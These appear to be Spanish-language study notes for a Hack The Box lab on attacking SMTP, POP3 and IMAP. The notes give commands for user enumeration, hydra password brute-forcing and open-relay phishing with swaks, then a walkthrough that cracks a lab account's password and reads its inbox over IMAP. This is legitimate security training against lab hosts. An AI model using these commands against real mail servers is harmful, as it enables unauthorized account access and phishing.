SMTP

• SMTP: Envío de correos.
• POP3: Descarga de correos al cliente.
• IMAP4: Acceso a correos desde múltiples dispositivos

Puertos comunes

• SMTP: 25 (sin cifrar), 465 y 587 (cifrados)
• IMAP4: 143 (sin cifrar), 993 (cifrado)
• POP3: 110 (sin cifrar), 995 (cifrado)

Enumeración (registros MX)

host -t MX hackthebox.eudig mx inlanefreight.htb

Enumeración de usuarios

telnet 10.129.14.128 25VRFY rootEXPN support-teamRCPT TO:john

Automatizado

smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.14.128

Ataques a Contraseñas

$ hydra -L users.txt -p 'Password123!' 10.129.14.128 <smtp/pop3/imap4>

Misconfiguraciones Comunes (Relay Abierto)

Permite enviar correos sin autenticación, lo que facilita phishing.

$ nmap -p25 --script smtp-open-relay 10.129.14.128swaks --from fake@domain.com --to victim@domain.com --body 'Phishing link' --server 10.129.14.128

Cómo resolver la prueba

Enumerar usuarios con RCPT, encontrando marlin@inlanefreight.htb:

smtp-user-enum -M RCPT -u marlin -D inlanefreight.htb -t 10.129.21.106

Buscar la password con hydra:

$ hydra -l marlin@inlanefreight.htb -P pws.list 10.129.21.106 smtp -I# login: marlin@inlanefreight.htb   password: poohbear

Iniciar sesión en imap (puerto 143) y leer el correo:

1 LOGIN marlin@inlanefreight.htb poohbear
1 SELECT INBOX
1 FETCH 1 BODY[TEXT]